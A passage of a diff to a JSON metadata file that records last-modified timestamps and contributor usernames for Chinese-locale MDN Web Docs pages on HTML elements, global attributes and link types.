"Web/HTML/Element/Input/submit": { - "modified": "2020-10-15T22:05:11.959Z", + "Web/HTML/Element/nextid": { + "modified": "2020-10-15T22:25:21.460Z", "contributors": [ - "guow10", - "RainSlide", - "bingxl" + "pans9" ] }, - "Web/HTML/Element/Input/tel": { - "modified": "2019-03-18T21:42:44.923Z", + "Web/HTML/Element/nobr": { + "modified": "2019-03-23T22:10:16.065Z", "contributors": [ - "yuyx91" + "wizardforcel" ] }, - "Web/HTML/Element/Input/text": { - "modified": "2020-10-15T22:14:33.627Z", + "Web/HTML/Element/noembed": { + "modified": "2019-03-23T22:10:11.377Z", "contributors": [ - "guow10", - "acuptea" + "wizardforcel" ] }, - "Web/HTML/Element/Input/time": { - "modified": "2020-10-15T22:19:46.814Z", + "Web/HTML/Element/noframes": { + "modified": "2019-03-23T22:10:12.853Z", "contributors": [ - "kuailekai", - "jason-guo" + "wizardforcel" ] }, - "Web/HTML/Element/Input/url": { - "modified": "2020-10-15T22:31:25.105Z", + "Web/HTML/Element/noscript": { + "modified": "2020-10-15T21:41:44.231Z", "contributors": [ - "yu.xcode" + "gafish", + "Serendipity96", + "williamjing", + "xgqfrms-GitHub", + "wleonid" ] }, - "Web/HTML/Element/Input/week": { - "modified": "2020-10-15T22:25:21.176Z", + "Web/HTML/Element/object": { + "modified": "2020-10-15T21:25:11.550Z", "contributors": [ - "pans9" + "gafish", + "zaixuzheng", + "Martin.Chow", + "ziyunfei", + "TimZhao" ] }, - "Web/HTML/Element/Input/月份": { - "modified": "2020-10-15T21:57:03.537Z", + "Web/HTML/Element/ol": { + "modified": "2020-10-15T21:37:41.454Z", "contributors": [ "RainSlide", - "AliasZet" - ] - }, - "Web/HTML/Element/Input/范围": { - "modified": "2020-10-15T22:25:22.859Z", - "contributors": [ - "q.z", - "hzy", - "pans9" + "gafish", + "fcg55254", + "nuo2000", + "benpigchu", + "tcatche", + "Ende93", + "dongnanzhan", + "FredWe" ] }, - "Web/HTML/Element/Shadow": { - "modified": "2019-03-23T22:10:02.975Z", + "Web/HTML/Element/optgroup": { + "modified": "2020-10-15T21:48:34.575Z", "contributors": [ - "wizardforcel" + "Carllllo", + "shinnqy" ] }, - "Web/HTML/Element/a": { - "modified": "2020-10-15T21:24:07.101Z", + "Web/HTML/Element/option": { + "modified": "2020-10-15T21:37:43.170Z", "contributors": [ - "gmaso", - "gafish", - "RainSlide", - "JimmieMax", - "JinRong.Yang", - "sunbeyond", - "zhaoqize", + "Carllllo", "wizardforcel", - "Dafrok", - "xgqfrms-GitHub", - "simonguo", - "Ende93", - "Yelmor", - "yaoliyc", - "yatace", - "venden", - "FredWe", - "NIGHTEAGLE", + "King.", "ziyunfei", - "TimZhao", - "jessiecaisme" + "zhache12345" ] }, - "Web/HTML/Element/abbr": { - "modified": "2020-10-15T21:24:12.293Z", + "Web/HTML/Element/output": { + "modified": "2020-10-15T21:41:37.216Z", "contributors": [ - "Astroleander", - "shuihuo", - "greyyyyy", - "RainSlide", - "xianshenglu", - "Ende93", - "xgqfrms-GitHub", - "fscholz", - "xingzhi", - "ziyunfei", - "jessiecaisme" + "wbamberg", + "zhangchen", + "King." ] }, - "Web/HTML/Element/acronym": { - "modified": "2019-03-23T22:47:31.151Z", + "Web/HTML/Element/p": { + "modified": "2019-03-23T23:14:26.595Z", "contributors": [ - "wizardforcel", - "xgqfrms-GitHub", - "YaohuiWu", - "pantao" + "Adashuai5", + "MrZhang", + "Ende93", + "FredWe", + "xingzhi" ] }, - "Web/HTML/Element/address": { - "modified": "2020-10-15T21:28:19.569Z", + "Web/HTML/Element/param": { + "modified": "2020-10-15T21:50:13.073Z", "contributors": [ "gafish", - "Huangyilin19", - "RainSlide", - "rguanghui", - "xingzhi" + "JinRong.Yang", + "naive233" ] }, - "Web/HTML/Element/applet": { - "modified": "2019-03-23T22:30:12.481Z", + "Web/HTML/Element/picture": { + "modified": "2020-10-15T21:48:04.092Z", "contributors": [ - "chhpt" + "imba-tjd", + "yisibl", + "PoppinL" ] }, - "Web/HTML/Element/area": { - "modified": "2019-03-23T22:50:07.483Z", + "Web/HTML/Element/plaintext": { + "modified": "2019-03-23T22:10:03.107Z", "contributors": [ - "CLoli", - "purcy", - "Undecyce", - "lily121", - "maicss", - "liangmuyang", - "TheaAo", - "naive233", - "xrds" + "wizardforcel" ] }, - "Web/HTML/Element/article": { - "modified": "2020-10-15T21:26:55.414Z", + "Web/HTML/Element/pre": { + "modified": "2020-10-15T21:39:48.026Z", "contributors": [ "gafish", - "SphinxKnight", - "916106840510", - "GalvinGao", - "rguanghui", - "ziyunfei", - "hutuxu" + "xgqfrms-GitHub", + "jiangseventeen", + "VdoG", + "Ende93", + "pengliheng" ] }, - "Web/HTML/Element/aside": { - "modified": "2020-10-15T21:34:26.905Z", - "contributors": [ - "gafish", - "RainSlide", - "shlugood", - "Jacky-88", - "YifangDONG", - "kevinfszu", - "rguanghui" - ] - }, - "Web/HTML/Element/audio": { - "modified": "2020-11-26T10:10:23.964Z", + "Web/HTML/Element/progress": { + "modified": "2020-10-15T21:05:48.761Z", "contributors": [ - "xusy", - "tanshaobo", - "Clarkkkk", - "RoXoM", + "wonschangge", + "mkckr0", + "fscholz", "wbamberg", - "HUxiaoAlinNG", - "little-tomorrow", - "Gerhut", - "mage3k", - "zhouyg", "ziyunfei", - "snadn" + "ethertank" ] }, - "Web/HTML/Element/b": { - "modified": "2019-03-18T20:42:37.816Z", + "Web/HTML/Element/q": { + "modified": "2020-10-15T21:44:22.274Z", "contributors": [ - "kite-js", - "Benjamin-Smith", - "lc-soft", - "zhuangyin", - "markyun", - "PoppinL" + "kenneth55555", + "fscholz", + "Zyan", + "Ende93", + "Jiang-Xuan" ] }, - "Web/HTML/Element/base": { - "modified": "2020-10-15T21:32:52.441Z", + "Web/HTML/Element/rb": { + "modified": "2020-10-15T22:14:32.981Z", "contributors": [ - "guow10", - "RainSlide", - "dodoBehind", - "Lux.lu", - "xgqfrms-GitHub", - "TheaAo", - "betseyliu", - "eforegist", - "PythonFo", - "RainKolwa", - "chinaliyun", - "mengzyou", - "nobug" + "richardmyu", + "zhaohaodang", + "astak" ] }, - "Web/HTML/Element/basefont": { - "modified": "2019-03-23T22:20:23.098Z", + "Web/HTML/Element/rp": { + "modified": "2020-05-03T03:15:11.285Z", "contributors": [ - "hoyt" + "tangallison2", + "wizardforcel" ] }, - "Web/HTML/Element/bdi": { - "modified": "2020-10-15T21:45:31.840Z", + "Web/HTML/Element/rt": { + "modified": "2019-04-18T06:06:40.759Z", "contributors": [ - "yofine", - "gafish", - "ZackBee", - "hoyt", - "Ende93" + "Yujiyang", + "Benjamin-Smith", + "wizardforcel" ] }, - "Web/HTML/Element/bdo": { - "modified": "2020-10-15T22:29:52.953Z", + "Web/HTML/Element/rtc": { + "modified": "2019-04-18T06:06:45.477Z", "contributors": [ - "JerryYoung" + "wizardforcel" ] }, - "Web/HTML/Element/bgsound": { - "modified": "2019-03-23T22:20:25.683Z", + "Web/HTML/Element/ruby": { + "modified": "2020-10-15T21:40:22.004Z", "contributors": [ - "hoyt" + "xgqfrms", + "studyMakesMeHappy", + "zhangchen", + "Roger-WIN", + "wizardforcel", + "Martin.Chow" ] }, - "Web/HTML/Element/big": { - "modified": "2019-03-23T22:20:25.885Z", + "Web/HTML/Element/s": { + "modified": "2020-10-15T21:55:24.184Z", "contributors": [ - "hoyt" + "gafish", + "wizardforcel" ] }, - "Web/HTML/Element/blink": { - "modified": "2019-03-23T22:20:26.966Z", + "Web/HTML/Element/samp": { + "modified": "2019-03-23T22:33:11.911Z", "contributors": [ - "teoli", - "hoyt" + "luobotang" ] }, - "Web/HTML/Element/blockquote": { - "modified": "2020-10-15T21:31:05.486Z", + "Web/HTML/Element/script": { + "modified": "2020-08-05T19:13:19.581Z", "contributors": [ - "RainSlide", - "pantao", - "lisnb" + "mitaosi", + "michalska.lucyna88", + "harryzcy", + "namklaw", + "heekei", + "Soy", + "unclesamnumberone", + "Jackandjohn", + "xhlsrj", + "xgqfrms-GitHub", + "Ende93", + "ahwassa", + "gqqnbig", + "fskuok" ] }, - "Web/HTML/Element/body": { - "modified": "2020-10-15T21:39:08.650Z", + "Web/HTML/Element/section": { + "modified": "2020-10-15T21:22:44.033Z", "contributors": [ - "RainSlide", - "eforegist", - "kite-js", - "hoyt", - "CodeDreamfy", - "JoshuaLee", - "sweetliu", - "pantao" + "shawn20111416", + "gafish", + "wbamberg", + "kevinfszu", + "Annlix", + "ziyunfei", + "TimZhao" ] }, - "Web/HTML/Element/br": { - "modified": "2020-10-15T21:41:22.726Z", + "Web/HTML/Element/select": { + "modified": "2020-10-15T21:27:52.792Z", "contributors": [ - "kite-js", - "hoyt", - "gqqnbig", - "venden" + "Carllllo", + "zhangchen", + "wbamberg", + "pavilion2t", + "DUHZ", + "brandonzhu", + "ReyCG", + "ziyunfei" ] }, - "Web/HTML/Element/button": { - "modified": "2020-10-15T21:34:26.939Z", + "Web/HTML/Element/slot": { + "modified": "2020-10-15T21:54:42.237Z", "contributors": [ - "ilexwg", - "YuanGYao", - "kite-js", - "WeJie", - "wizardforcel", - "ezirmusitua", - "AnitaYin", - "JulieLee77" + "Jennyshining", + "xgqfrms", + "maicss", + "n313893254" ] }, - "Web/HTML/Element/canvas": { - "modified": "2020-10-15T21:21:53.234Z", + "Web/HTML/Element/small": { + "modified": "2020-10-15T21:51:17.821Z", "contributors": [ - "Mookiepiece", - "Martin.Chow", - "pantao", - "King.521", - "lunix01", - "qguor", - "ziyunfei", - "xcffl" + "gafish", + "wizardforcel", + "rollinhup", + "Tidejade" ] }, - "Web/HTML/Element/caption": { - "modified": "2019-03-23T22:47:30.729Z", + "Web/HTML/Element/source": { + "modified": "2019-07-01T10:30:44.709Z", "contributors": [ - "_sollrei", - "gqqnbig", - "pantao" + "l613", + "flyingsouthwind", + "naive233", + "ziyunfei", + "x-false" ] }, - "Web/HTML/Element/center": { - "modified": "2019-03-23T22:10:15.013Z", + "Web/HTML/Element/spacer": { + "modified": "2019-03-23T22:10:12.608Z", "contributors": [ - "maoyumaoxun", "wizardforcel" ] }, - "Web/HTML/Element/cite": { - "modified": "2020-10-15T21:41:43.390Z", + "Web/HTML/Element/span": { + "modified": "2020-11-23T03:27:28.387Z", "contributors": [ - "Humilitas", - "yuyuanqiu", + "Ende93", + "mitaosi", "gafish", - "lucoo01", - "ma125120", - "King." - ] - }, - "Web/HTML/Element/code": { - "modified": "2019-03-23T23:19:07.452Z", - "contributors": [ - "ziyunfei", - "guoyunhebrave" + "wh.D", + "OlafCheng", + "King.", + "Fadeoc" ] }, - "Web/HTML/Element/col": { - "modified": "2019-04-13T00:08:55.934Z", + "Web/HTML/Element/strike": { + "modified": "2019-03-23T22:10:15.972Z", "contributors": [ - "Rominez", - "zxcvbnm", - "FredWe" + "wizardforcel" ] }, - "Web/HTML/Element/colgroup": { - "modified": "2020-10-15T21:37:46.269Z", + "Web/HTML/Element/strong": { + "modified": "2019-03-23T22:28:05.903Z", "contributors": [ - "RainSlide", - "Soyaine", - "PandaadnaP", - "FredWe" + "bobo159357456", + "liwenkang", + "coolguy" ] }, - "Web/HTML/Element/command": { - "modified": "2019-03-18T20:43:33.481Z", + "Web/HTML/Element/style": { + "modified": "2020-10-15T21:33:11.824Z", "contributors": [ - "wbamberg", - "practicemp", - "ziyunfei" + "dlnb526", + "VdoG", + "linghuam", + "RandyOu", + "mengzyou" ] }, - "Web/HTML/Element/content": { - "modified": "2019-03-23T22:10:12.369Z", + "Web/HTML/Element/sub": { + "modified": "2019-03-23T22:10:11.284Z", "contributors": [ "wizardforcel" ] }, - "Web/HTML/Element/data": { - "modified": "2020-10-15T21:28:38.554Z", - "contributors": [ - "RainSlide", - "hxl" - ] - }, - "Web/HTML/Element/datalist": { - "modified": "2020-10-15T21:19:07.919Z", + "Web/HTML/Element/summary": { + "modified": "2020-10-15T21:40:24.548Z", "contributors": [ - "gafish", - "zhangchen", - "mfranzke", - "wbamberg", - "Jianming", - "SphinxKnight", - "koaqiu", - "JulieLee77", - "ziyunfei" + "JulesWang", + "xgqfrms-GitHub", + "Martin.Chow" ] }, - "Web/HTML/Element/dd": { - "modified": "2019-03-23T22:39:17.576Z", + "Web/HTML/Element/sup": { + "modified": "2019-10-01T21:38:22.903Z", "contributors": [ - "zhuangyin", - "PoppinL" + "wizardforcel" ] }, - "Web/HTML/Element/del": { - "modified": "2020-10-15T21:44:56.125Z", + "Web/HTML/Element/table": { + "modified": "2020-10-15T21:37:19.437Z", "contributors": [ - "lastVigo", - "Ende93" + "Ende93", + "stormyyd", + "Toobubble", + "codevvvv9", + "xgqfrms-GitHub", + "eforegist", + "jdk137", + "studentytj", + "PandaadnaP", + "Simcookies", + "zhe13", + "hexiaoming", + "FredWe" ] }, - "Web/HTML/Element/details": { - "modified": "2020-10-15T21:40:23.093Z", + "Web/HTML/Element/td": { + "modified": "2020-10-15T21:37:19.273Z", "contributors": [ - "Sc0tt", "RainSlide", - "moquede", - "Jiang-Xuan", - "wh1msy", - "xgqfrms-GitHub", - "Martin.Chow" + "853419196", + "FredWe" ] }, - "Web/HTML/Element/dfn": { - "modified": "2020-08-14T22:28:54.156Z", + "Web/HTML/Element/template": { + "modified": "2020-10-15T21:31:49.045Z", "contributors": [ - "liujtani", - "harttle" + "zhangchen", + "sky5454", + "xgqfrms-GitHub", + "Breezewish" ] }, - "Web/HTML/Element/dialog": { - "modified": "2020-10-15T21:53:47.497Z", + "Web/HTML/Element/textarea": { + "modified": "2020-10-15T21:37:11.943Z", "contributors": [ - "bambooom", - "RainSlide", + "Carllllo", + "wuzhibo", + "gafish", "Bayes", - "xgqfrms-GitHub" + "xianjiezh", + "koaqiu", + "celinaYu", + "maicss", + "xgqfrms-GitHub", + "DeronLee", + "FredWe" ] }, - "Web/HTML/Element/dir": { - "modified": "2019-03-21T11:22:00.363Z", + "Web/HTML/Element/tfoot": { + "modified": "2020-10-15T22:04:34.366Z", "contributors": [ - "RainSlide", - "wizardforcel" + "nagisa", + "tomoru" ] }, - "Web/HTML/Element/div": { - "modified": "2020-10-15T21:37:14.662Z", + "Web/HTML/Element/th": { + "modified": "2020-10-15T21:59:42.026Z", "contributors": [ - "imdsc", - "guofai", - "BurNing1993", - "RainSlide", - "gafish", - "YunZhongZi", - "pantao", - "FredWe" + "853419196", + "silkey", + "levinweb" ] }, - "Web/HTML/Element/dl": { - "modified": "2020-04-29T06:50:25.527Z", + "Web/HTML/Element/thead": { + "modified": "2020-10-15T21:52:32.187Z", "contributors": [ - "tanshaobo", - "wenchuyang", - "zhuangyin", - "PoppinL", - "teoli", - "pantao" + "gafish", + "fscholz", + "gilking", + "xgqfrms-GitHub", + "wzvoid" ] }, - "Web/HTML/Element/dt": { - "modified": "2019-03-23T22:52:08.449Z", + "Web/HTML/Element/time": { + "modified": "2019-03-24T00:15:12.173Z", "contributors": [ - "PoppinL", - "pantao", - "FredWe" + "wbamberg", + "RandyOu", + "xunmorl", + "hxl", + "ziyunfei" ] }, - "Web/HTML/Element/element": { - "modified": "2019-03-23T22:13:42.917Z", + "Web/HTML/Element/title": { + "modified": "2020-10-15T21:41:22.327Z", "contributors": [ - "angelllls" + "dlnb526", + "tomcat1234", + "Annlix", + "venden" ] }, - "Web/HTML/Element/em": { - "modified": "2019-08-13T01:09:58.820Z", + "Web/HTML/Element/tr": { + "modified": "2020-12-10T03:16:48.200Z", "contributors": [ - "huxinsen", - "eMUQI", - "bobo159357456", - "xgqfrms", - "pantao" + "窦静杰", + "Bayes", + "zxcvbnm" ] }, - "Web/HTML/Element/embed": { - "modified": "2020-10-15T21:28:42.719Z", + "Web/HTML/Element/track": { + "modified": "2020-10-15T21:28:38.735Z", "contributors": [ - "RainSlide", - "chenos", + "lizheming", + "Alex-DMC", + "gafish", + "flyingsouthwind", + "wbamberg", + "naive233", "Martin.Chow", - "Startan" + "hxl" ] }, - "Web/HTML/Element/fieldset": { - "modified": "2020-10-15T21:49:19.693Z", + "Web/HTML/Element/tt": { + "modified": "2019-03-23T22:22:44.407Z", "contributors": [ - "Carllllo", - "lucoo01", - "ezirmusitua", - "abowloflrf", - "cyxlj" + "wizardforcel", + "sayNo123" ] }, - "Web/HTML/Element/figcaption": { - "modified": "2019-03-23T22:35:32.183Z", + "Web/HTML/Element/u": { + "modified": "2020-10-15T21:52:32.682Z", "contributors": [ + "liruiux", + "yuyuanqiu", + "gafish", "wizardforcel", - "travellingkite", - "Ende93" + "hawm" ] }, - "Web/HTML/Element/figure": { - "modified": "2020-10-15T21:38:52.140Z", + "Web/HTML/Element/ul": { + "modified": "2020-10-15T21:45:30.830Z", "contributors": [ + "xq20160912", "gafish", "RainSlide", - "lcw0622", - "ajfg93", - "Ende93", - "041008725", - "you0509" + "ChaunceyWang", + "TangiDing", + "Eternaldeath", + "kgojiwong", + "Invar", + "Ende93" ] }, - "Web/HTML/Element/font": { - "modified": "2019-03-23T22:10:03.224Z", + "Web/HTML/Element/var": { + "modified": "2020-10-15T21:40:23.614Z", "contributors": [ - "yinsang", - "wizardforcel" + "xgqfrms", + "Martin.Chow" ] }, - "Web/HTML/Element/footer": { - "modified": "2020-10-15T21:38:27.121Z", + "Web/HTML/Element/video": { + "modified": "2020-10-15T21:26:33.227Z", "contributors": [ - "gafish", - "Ende93", - "sweetliu", - "W.D.L" + "myy7362", + "Yangjia23", + "hahaaha", + "kirbey", + "DonSen", + "beautyTang", + "jnvf", + "Soyaine", + "wbamberg", + "Shangxin", + "esterTion", + "jfw10973", + "ziyunfei", + "hxl" ] }, - "Web/HTML/Element/form": { - "modified": "2020-10-15T21:14:51.331Z", + "Web/HTML/Element/wbr": { + "modified": "2020-10-15T21:55:23.940Z", "contributors": [ - "Clarkkkk", - "Carllllo", - "Daqin", - "xuiang", - "RainSlide", - "Alfxjx", - "l613", - "gafish", - "linjialiang", - "HJ8848", - "luzhe610", - "Structure88", - "wizardforcel", - "maicss", - "zrtalent", - "FredWe", - "ziyunfei", - "lenvens" + "Ende93", + "wizardforcel" ] }, - "Web/HTML/Element/frame": { - "modified": "2019-03-23T22:10:16.682Z", + "Web/HTML/Element/xmp": { + "modified": "2020-10-15T21:40:04.585Z", "contributors": [ - "wizardforcel" + "GitHub-XQ", + "RainSlide", + "Martin.Chow" ] }, - "Web/HTML/Element/frameset": { - "modified": "2020-10-15T21:48:59.254Z", + "Web/HTML/Global_attributes": { + "modified": "2020-10-15T21:24:25.636Z", "contributors": [ + "wangfangping", + "gafish", + "fangshuaituo", + "depcorn", + "nagisa", + "qihuanlu01", + "eforegist", "Ende93", + "sdc37h", + "Jasery", "xgqfrms-GitHub", - "Fogwind" + "hawm", + "OlafCheng", + "vicvinc", + "Shaoqiang.Zhang", + "zhangking", + "TimZhao", + "ziyunfei", + "bugknightyyp" ] }, - "Web/HTML/Element/head": { - "modified": "2020-10-15T21:31:48.499Z", + "Web/HTML/Global_attributes/accesskey": { + "modified": "2020-10-15T21:54:59.494Z", "contributors": [ + "zhangchen", "eforegist", - "jesse0x90", - "AlexChao" - ] - }, - "Web/HTML/Element/header": { - "modified": "2020-10-15T21:27:00.445Z", - "contributors": [ - "gafish", - "RainSlide", - "wbamberg", "ziyunfei", - "hutuxu" + "Ende93", + "wizardforcel", + "moque" ] }, - "Web/HTML/Element/hgroup": { - "modified": "2020-09-15T22:26:38.462Z", + "Web/HTML/Global_attributes/autocapitalize": { + "modified": "2020-10-15T22:07:56.542Z", "contributors": [ - "hellorayza", - "emanruoy", - "allan_simon", - "diqiuxin", - "Ende93" + "zhangchen", + "eforegist" ] }, - "Web/HTML/Element/hr": { - "modified": "2020-10-15T21:39:09.045Z", + "Web/HTML/Global_attributes/class": { + "modified": "2020-10-15T21:39:56.865Z", "contributors": [ - "mitaosi", - "tanshaobo", - "gafish", - "lucoo01", - "azheng", - "nicholas-yangding", - "Ende93", - "pantao" + "zhangchen", + "eforegist", + "YehaiChen", + "ChuckZhang", + "Feihei" ] }, - "Web/HTML/Element/html": { - "modified": "2020-10-15T21:37:17.396Z", + "Web/HTML/Global_attributes/contenteditable": { + "modified": "2020-10-15T21:37:25.983Z", "contributors": [ - "gafish", + "zhangchen", + "xgqfrms", "eforegist", - "xgqfrms-GitHub", - "thinklittle", - "VdoG", - "ruilee16", - "jesse0x90", - "jasonnn331", - "Ende93", - "FredWe" + "AlexChao" ] }, - "Web/HTML/Element/i": { - "modified": "2019-03-23T23:11:10.638Z", + "Web/HTML/Global_attributes/contextmenu": { + "modified": "2020-10-15T21:51:27.709Z", "contributors": [ - "StormBR1120", - "ccn1010", - "ranwu", - "pantao", - "Hey-Ray" + "SphinxKnight", + "eforegist", + "Ende93", + "shuangya" ] }, - "Web/HTML/Element/iframe": { - "modified": "2020-10-15T21:21:27.595Z", + "Web/HTML/Global_attributes/data-*": { + "modified": "2020-10-15T21:36:49.775Z", "contributors": [ - "卡尔维斯特", - "HHH-can", - "frankli0324", - "gafish", - "Aslower", - "hexianzhi", - "xgqfrms", - "wbamberg", - "GameWang", - "AlvinBlack", - "Ende93", - "shiddong", - "xuxun", + "wallena3", + "symant233", + "zhangchen", + "Bonlin0", + "eforegist", "xgqfrms-GitHub", - "hoyt", - "Marcia_gm", - "Sivan", - "ReyCG_sub", - "ziyunfei", - "monjer", - "Josephok", - "ZhangJianxiang" + "kameii", + "FredWe" ] }, - "Web/HTML/Element/image": { - "modified": "2019-03-30T00:32:55.632Z", + "Web/HTML/Global_attributes/dir": { + "modified": "2019-03-18T20:38:23.878Z", "contributors": [ - "raygift", - "hoyt" + "jdk137", + "mona" ] }, - "Web/HTML/Element/img": { - "modified": "2020-10-15T21:34:27.415Z", + "Web/HTML/Global_attributes/draggable": { + "modified": "2019-03-23T23:03:48.842Z", "contributors": [ - "liangmuyang", - "HaoyuA", - "XLCYun", - "RainSlide", - "LexieAlreadyTaken", - "imbant", - "zzykillu", - "gafish", - "Ahhaha233", - "Everain", - "iefreer", - "fuchao2012", - "anjia" + "TooBug" ] }, - "Web/HTML/Element/ins": { - "modified": "2020-10-15T21:39:08.740Z", + "Web/HTML/Global_attributes/hidden": { + "modified": "2020-10-08T07:06:44.011Z", "contributors": [ - "gafish", - "lastVigo", - "Martin.Chow", - "pantao" + "Martin730913", + "LeoQuote", + "wizardforcel", + "bestdream", + "gaopu" ] }, - "Web/HTML/Element/isindex": { - "modified": "2019-03-23T22:43:17.045Z", + "Web/HTML/Global_attributes/id": { + "modified": "2020-10-15T21:37:13.339Z", "contributors": [ - "Martin.Chow" + "shawn20111416", + "kidonng", + "YehaiChen", + "JoshuaLee", + "zhangyudan" ] }, - "Web/HTML/Element/kbd": { - "modified": "2019-08-13T06:01:57.840Z", + "Web/HTML/Global_attributes/inputmode": { + "modified": "2020-10-15T22:20:42.369Z", "contributors": [ - "kenneth55555", - "hoyt", - "perillasy" + "qiudongwei" ] }, - "Web/HTML/Element/keygen": { - "modified": "2019-04-05T05:50:18.178Z", + "Web/HTML/Global_attributes/is": { + "modified": "2020-10-15T22:04:17.093Z", "contributors": [ - "Ende93" + "Kollar93" ] }, - "Web/HTML/Element/label": { - "modified": "2020-10-15T21:34:28.099Z", + "Web/HTML/Global_attributes/itemid": { + "modified": "2019-03-23T22:10:08.155Z", "contributors": [ - "Carllllo", - "plusmultiply0", - "one-day-day", - "kuei0221", - "yuyuanqiu", - "loveyunk", "Ende93", - "tinunkai", - "codevvvv9", - "yinsang", - "xgqfrms-GitHub", - "TooBug", - "ObooChin", - "JulieLee77" + "wizardforcel" ] }, - "Web/HTML/Element/legend": { - "modified": "2020-10-15T21:28:02.232Z", + "Web/HTML/Global_attributes/itemprop": { + "modified": "2019-03-23T22:09:25.188Z", "contributors": [ - "Carllllo", - "xingzhi" + "xzy112233", + "MZI", + "bestdream" ] }, - "Web/HTML/Element/li": { - "modified": "2019-04-06T23:38:24.006Z", + "Web/HTML/Global_attributes/itemref": { + "modified": "2019-07-13T06:25:04.662Z", "contributors": [ - "lwj621", - "wizardforcel", - "changwu", - "JoshuaLee" + "wangfangping", + "Mukti", + "wizardforcel" ] }, - "Web/HTML/Element/link": { - "modified": "2020-10-15T21:43:08.607Z", + "Web/HTML/Global_attributes/itemscope": { + "modified": "2019-03-23T22:04:34.982Z", "contributors": [ - "woshiqiang1", - "mitaosi", - "dlnb526", - "Yayure", - "LINYI", - "seanyue", - "csideakevin", - "gafish", - "Blue-momo", - "wh.D", - "zhangqiangoffice", - "VdoG", - "sdc37h", - "zhengjianqiao", - "jethro2016", - "ZackBee", - "cissoid", - "jesse0x90", - "gqqnbig", - "041008725" + "codedrinker", + "Mukti" ] }, - "Web/HTML/Element/listing": { - "modified": "2019-03-23T22:10:12.488Z", + "Web/HTML/Global_attributes/itemtype": { + "modified": "2019-03-23T22:10:01.057Z", "contributors": [ "wizardforcel" ] }, - "Web/HTML/Element/main": { - "modified": "2020-10-15T21:34:53.469Z", + "Web/HTML/Global_attributes/lang": { + "modified": "2019-10-01T21:48:16.715Z", "contributors": [ - "panda2134", - "kidwen", - "RainSlide", - "agannwei", - "gafish", - "sun_all", - "Alexanderonepills", - "zhangchen", - "yuyang", - "beiweiqiang", - "pantao", - "holynewbie", - "TANRUI", - "oxygen16" + "wangfangping", + "wizardforcel" ] }, - "Web/HTML/Element/map": { - "modified": "2020-06-30T05:42:09.220Z", + "Web/HTML/Global_attributes/part": { + "modified": "2020-10-15T22:31:54.138Z", "contributors": [ - "ikomom", - "Feel-Joy", - "wizardforcel", - "xycd", - "naive233" + "wuding" ] }, - "Web/HTML/Element/mark": { - "modified": "2020-01-10T01:04:18.292Z", + "Web/HTML/Global_attributes/slot": { + "modified": "2020-10-15T21:55:11.414Z", "contributors": [ - "yuyuanqiu", - "XiaoWinter", - "puppyer", - "Benjamin-Smith", - "looso", - "iigmir", - "Byronic94", - "marchen" + "zhangchen", + "wizardforcel" ] }, - "Web/HTML/Element/marquee": { - "modified": "2019-03-23T22:16:10.183Z", + "Web/HTML/Global_attributes/spellcheck": { + "modified": "2019-03-23T22:18:18.900Z", "contributors": [ - "siyecao", - "Easton605", "wizardforcel", - "viazure", - "snovey" + "xcffl", + "fjh352", + "xgqfrms-GitHub" ] }, - "Web/HTML/Element/menu": { - "modified": "2020-10-15T21:37:16.105Z", + "Web/HTML/Global_attributes/style": { + "modified": "2019-03-23T22:10:06.901Z", "contributors": [ - "RainSlide", - "yuyx91", - "kgojiwong", - "pantao", - "holynewbie" + "wizardforcel" ] }, - "Web/HTML/Element/menuitem": { - "modified": "2020-10-15T21:58:27.361Z", + "Web/HTML/Global_attributes/tabindex": { + "modified": "2020-10-15T21:55:15.899Z", "contributors": [ - "RainSlide", - "wangxuedongovo" + "xrkffgg", + "zhangchen", + "fjh352", + "wizardforcel" ] }, - "Web/HTML/Element/meta": { - "modified": "2020-10-15T21:34:02.227Z", + "Web/HTML/Global_attributes/title": { + "modified": "2020-03-11T07:59:38.824Z", "contributors": [ - "RainSlide", - "Carllllo", - "chanvin", - "dlnb526", - "vanestone", - "xq20160912", - "ceido", - "Bayes", - "VdoG", - "zxsunrise", - "wpc1403s2", - "fsx950223", - "yellow-lines", - "yunikoro", - "scl930227", - "daixinye", - "zt2", - "Noly1990", - "aimiy", - "clarkzsd", - "qixi", - "xgqfrms-GitHub", - "wangdapeng1005", - "zhouyu1993", - "SolitudeRA", - "Annlix", - "littlee", - "pantao", - "SimplyY", - "Fadeoc" + "YangYihui", + "monkeyDyang", + "wizardforcel" ] }, - "Web/HTML/Element/meta/name": { - "modified": "2020-10-15T22:33:39.182Z", + "Web/HTML/Global_attributes/translate": { + "modified": "2019-06-05T06:41:04.292Z", "contributors": [ - "RainSlide", - "hanochrosebush" + "Martin.Chow" ] }, - "Web/HTML/Element/meter": { - "modified": "2019-03-23T22:20:26.204Z", + "Web/HTML/Index": { + "modified": "2019-03-21T11:52:09.419Z", "contributors": [ - "hoyt" + "RainSlide", + "xcffl" ] }, - "Web/HTML/Element/multicol": { - "modified": "2019-03-23T22:18:36.663Z", + "Web/HTML/Inline_elements": { + "modified": "2020-08-05T19:04:54.777Z", "contributors": [ - "wizardforcel", - "xgqfrms-GitHub" + "mitaosi", + "chrisdavidmills", + "Raine_Huang", + "FredWe", + "ziyunfei", + "pmtao" ] }, - "Web/HTML/Element/nav": { - "modified": "2020-10-15T21:26:27.913Z", + "Web/HTML/Link_types": { + "modified": "2020-10-15T21:31:40.375Z", "contributors": [ + "chanvin", + "Yayure", "gafish", - "wbamberg", - "yatace", - "ziyunfei", - "TimZhao", - "bowen-shi" + "JuliusKingsley", + "songlime", + "liutongshuo", + "idlefire", + "hstarorg", + "Ende93", + "grtreexyz", + "blue0125", + "Breezewish" ] }, - "Web/HTML/Element/nextid": { - "modified": "2020-10-15T22:25:21.460Z", + "Web/HTML/Link_types/prefetch": { + "modified": "2020-10-15T22:29:06.249Z", "contributors": [ - "pans9" + "chanvin" ] }, - "Web/HTML/Element/nobr": { - "modified": "2019-03-23T22:10:16.065Z", + "Web/HTML/Link_types/preload": { + "modified": "2020-10-15T22:29:06.417Z", "contributors": [ - "wizardforcel" + "chanvin" ] }, - "Web/HTML/Element/noembed": { - "modified": "2019-03-23T22:10:11.377Z", + "Web/HTML/Microdata": { + "modified": "2019-07-13T06:56:53.858Z", "contributors": [ - "wizardforcel" + "wangfangping" ] }, - "Web/HTML/Element/noframes": { - "modified": "2019-03-23T22:10:12.853Z", + "Web/HTML/Preloading_content": { + "modified": "2020-06-09T23:26:32.370Z", "contributors": [ - "wizardforcel" + "huyue", + "chanvin", + "sutaojie", + "haoliangwu", + "Axue", + "ldwformat" ] }, - "Web/HTML/Element/noscript": { - "modified": "2020-10-15T21:41:44.231Z", + 